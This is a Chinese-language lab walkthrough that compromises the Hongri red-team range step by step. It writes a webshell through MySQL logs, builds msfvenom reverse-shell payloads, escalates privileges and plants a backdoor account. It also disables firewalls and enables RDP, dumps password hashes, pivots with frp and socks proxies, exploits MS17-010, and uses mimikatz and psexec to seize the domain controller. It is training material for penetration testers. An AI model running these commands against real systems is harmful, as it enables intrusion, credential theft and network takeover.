这里正好学习一下内网环境的一个架构:靶场设置了三个虚拟机:
这里Win7就是我们的Web服务器,我们需要模拟一个公网环境和我们的攻击机在一个网段下,同时我们还要配置一个内网环境,让攻击机无法直接去访问到内网的Win2K3和Win2008,所以这里Win7我们配置一个双网卡,一个网卡使用NAT模式模拟我们的公网环境,另一个网卡设为VMnet1(仅主机模式),同时另外两个Win2K3和Win2008都设置为VMnet1,从而落到同一个网段下构成一个内网环境。
我们可以看到我们的NAT模式将我们的公网段落到了82段上,然后内网段在52段上,在Win7上面,我们的本机/攻击机以及两个内网机都能够ping通IP,但是因为Win7开了防火墙,过滤了icmp协议,所以其他机器无法ping通Win7
然后我们需要启动Win7上面的phpstudy服务来构造起我们的Web服务,但是这里红日靶场的phpstudy不能够启动,我们就手动启动Apache服务和Mysql服务,这里覆盖上命令:
启动Apache服务:
httpd.exe -k install
httpd.exe -k -n apache2.4
然后启动services.msc打开对应MySQL服务:
启动mysql服务:
mysqld --install
mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables
show variables like '%slow%'; set GLOBAL slow_query_log_file='C:/phpStudy/WWW/shell.php'; set GLOBAL slow_query_log=on; set GLOBAL log_queries_not_using_indexes=on;
通过CS制作exe文件木马上传蚁剑然后运行上线CS
systeminfo查看补丁信息:
利用ms14_058提权成功
通过制作powershell来上线:
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads PHP msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war Python msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py Bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh Perl msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
msfconsole msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe # 反向shell
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.53.131 set lport 8885 run
提权:
meterpreter > getuid Server username: GOD\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
关闭防火墙
meterpreter > run post/windows/manage/enable_rdp
1. sessions -i
2. #查看已经获取的会话
3. sessions -i 1
4. #连接到指定序号的meterpreter会话已继续利用
如遇shell乱码问题可输入chcp 65001
缓解部分问题
输入 ashelp 查看本地命令 net user 查看本地账户 whoami 当前用户权限 ipconfig -all Windows IP 配置 systeminfo #信息 tasklist #查询进程及服务 ipconfig /all #.域信息 netstat -an #查看端口状态 net view net view /domain #查看当前登录域与用户信息
net user srn7 P@ssword /add # 添加用户 net localgroup administrators srn7 /add # 将用户添加至管理员组 net user srn7
netstat -an 查看端口状态
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
开启3389服务: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f net start termservice
查看注册表值来确定是否开启远程桌面服务:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
关闭防火墙 netsh advfirewall set allprofiles state off 关闭防火墙 netsh firewall set opmode disable #winsows server 2003 之前 netsh advfirewall set allprofiles state off #winsows server 2003 之后 防火墙放行3389 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
net group /domain #查看域内所有用户列表 net group "domain computers" /domain #查看域成员计算机列表 net group "domain admins" /domain #查看域管理员用户
run post/windows/gather/enum_patches
run post/windows/gather/enum_applications
获取自动登录密码:
meterpreter > run windows/gather/credentials/windows_autologin [] Running against STU1 on session 2 [] The Host STU1 is not configured to have AutoLogon password #在会话 2 上针对 STU1 运行 #主机 STU1 未配置为具有自动登录密码
查询hashdump:
run post/windows/gather/smart_hashdump
[] 针对 STU1 运行模块 [] 如果连接,哈希值将保存到数据库中。 [+] 哈希值将以 JtR 密码文件格式保存在战利品中: [] /root/.msf4/loot/20211105144910_default_192.168.254.130_windows.hashes_151319.txt [] 倾销密码哈希... [] 以 SYSTEM 身份运行,从注册表中提取哈希值 [] 获取启动密钥... [] 使用 SYSKEY fd4639f4e27c79683ae9fee56b44393f 计算 hboot 密钥... [] 获取用户列表和密钥... [] 解密用户密钥... [] 转储密码提示... [] 在这个系统上没有有密码提示的用户 [] 倾销密码哈希... [+] 管理员:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] srn7:1001:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
密码格式 用户名称: RID:LM-HASH值:NT-HASH 值 rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等 LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式,可采用MD5解密;
解决方法:
ipconfig /all 查询本机IP段,所在域等 net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域 net user 本机用户列表 net localgroup administrators 本机管理员[通常含有域用户] net view 查看域信息 net view /domain 查询主域信息 net config workstation 当前的登录域与用户信息 net time /domain 判断主域 nslookup god.org nslookup 命令直接解析域名服务器 net user /domain 当前域的所有用户 route print 路由信息 net group "domain admins" /domain 域管理员的名字
1、后台运行frp服务(定位至frp文件夹)
服务端: nohup ./frps -c frps.ini >/dev/null 2>&1 &
客户端: nohup ./frpc -c frpc.ini >/dev/null 2>&1 &
2、找到frp进程号
ps -aux|grep frp| grep -v grep
3、结束frp进程
kill -9 12345(找到的进程号)
tasklist
taskkill /F /PID 3604
在kali攻击机上部署frps服务端:
在目标机上运行frpc.exe文件进行客户端连接:
配置全局代理:
我们先来讲一下msf建立内网路由的原理:
这里需要注意,sock协议不支持ping命令(icmp)
sock4a:TELNET,FTP,HTTP等TCP协议;
sock5:TCP与UDP,并支持安全认证方案;
在我们使用msf来探测各个网段的主机信息时,我们需要先添加通过各个网段的路由,这样msf才能够知道应该怎么走,就好比我们提前告诉msf都有那些路可以走,然后他才能够去走。所以这里我们最先要做的就是对msf添加自动路由,或者手动指定路由添加:
#新建路由: run post/multi/manage/autoroute #查看路由信息 run autoroute -p #添加指定路由,1是接收的session编号 msf6 > route add 192.168.10.0 255.255.255.0 1 #查看路由表信息 route
这样我们添加路由以后,用msf自带的模块对内网主机进行扫描探测,msf就会自动将流量送往对应的网段,但是如果我们不单单使用msf来进行渗透,我们就需要做代理转发,通过配置socks代理来帮我们获取到对应的内网信息
我们在vps上面开启一个Socks代理,监听vps本地的1080端口,然后再通过这个端口将流量转给msf,msf又添加了路由,所以能够将流量直接带入到内网。其实就是这样的一个关系:
use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set VERSION 5 msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 #或者默认0.0.0.0 msf6 auxiliary(server/socks_proxy) > run
攻击机kali配置客户端代理:
vim /etc/proxychains4.conf
proxychains4 命令
use post/windows/gather/arp_scanner set RHOSTS 192.168.52.0/24 set SESSION 1 run
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.52.0/24
run
查看域信息:net view
查看主域信息:net view /domain
开始横向渗透控制其它主机
进行其它内网主机端口探测
proxychains nmap -sS -sV -Pn 192.168.52.141
192.168.52.141:139 open 192.168.52.143:3306 open 192.168.52.141:135 open 192.168.52.1:445 open 192.168.52.1:139 open 192.168.52.1:135 open 192.168.52.138:445 open 192.168.52.143:445 open 192.168.52.138:139 open 192.168.52.138:135 open 192.168.52.143:139 open 192.168.52.138:88 open 192.168.52.143:135 open 192.168.52.138:80 open 192.168.52.141:21 open 192.168.52.143:80 open 192.168.52.141:445 open 192.168.52.141:7001 open 192.168.52.141:8099 open 192.168.52.141:8098 open 192.168.52.141:7002 open [+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [*] NetInfo: [*]192.168.52.138 [->]owa [->]192.168.52.138 [*] NetInfo: [*]192.168.52.143 [->]stu1 [->]192.168.52.143 [->]169.254.129.186 [->]192.168.82.7 [+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1) [*] NetBios: 192.168.52.138 [+]DC owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1 [*] NetInfo: [*]192.168.52.141 [->]root-tvi862ubeh [->]192.168.52.141 [+] 192.168.52.141 MS17-010 (Windows Server 2003 3790) [*] WebTitle: http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor [*] WebTitle: http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014 [+] ftp://192.168.52.141:21:anonymous [*] WebTitle: http://192.168.52.138 code:200 len:689 title:IIS7
proxychains ftp ftp> open 192.168.52.141 21 Name (192.168.52.141:root): anonymous Password: ftp> help
fscan和nmap扫描发现开放445端口:永恒之蓝漏洞通过TCP的445和139端口,来利用v1和NBT中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的Windows主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。
use auxiliary/admin/smb/ms17_010_command set COMMAND net user set RHOST 192.168.52.141 exploit
添加用户名:
set COMMAND net user hack hack /add
添加不成功,因为有密码设置策略,密码不能太简单且不能包含用户名
set COMMAND net user hack qaz@123
添加成功
正向连接(未成功):
利用 exploit/windows/smb/ms17_010_psexec 尝试正向连接 search ms17-010 use exploit/windows/smb/ms17_010_psexec show options set rhosts 192.168.52.141 set payload set lhost 192.168.82.3 set lport 7777 set SMBuser srn7 set SMBpass P@ssword exploit
开启3389端口:
search ms17-010 use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set COMMAND wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 exploit
上面这个没有开启成功,下面这个成功了
search ms17-010 use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' run
远程连接:直接在msf里rdesktop 192.168.52.141或者另起终端proxychains rdesktop 192.168.52.141 或者全局代理直接本机远程连接均可;
Telnet("Telecommunication Network" 的缩写)是一种用于在计算机之间进行远程终端连接的协议。Telnet服务允许用户通过网络远程登录到远程主机,并在远程主机上执行命令,就像直接在本地计算机上执行一样。Telnet是一个简单的文本协议,主要用于远程管理和调试。
开启23端口并打开telnet服务:
set COMMAND sc config tlntsvr start= auto set COMMAND net start telnet
接下来telnet连接
use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.52.141 set username hack set PASSWORD qaz@123 exploit
自行连接:
telnet 192.168.52.141
net view首先查看域内信息:
当我们拿到一个机器的beacon以后,通过mimikatz抓取明文密码,得到其他机器和本机机器的某些用户的明文密码,这里我们通过143机器administrator的密码以后,因为143机器开启了445端口,所以我们就可以通过这个机器的445端口和目标不出网的138机器的445端口进行smb通讯
这里我们使用smb的监听器:
然后通过psexec进行内网横向渗透,通过143机器对138机器进行通讯:
然后我们发现138机器OWA成功上线,拿下域控:
参考文章:
https://blog.csdn.net/qq_40638006/article/details/122033546
https://www.freebuf.com/articles/web/324441.html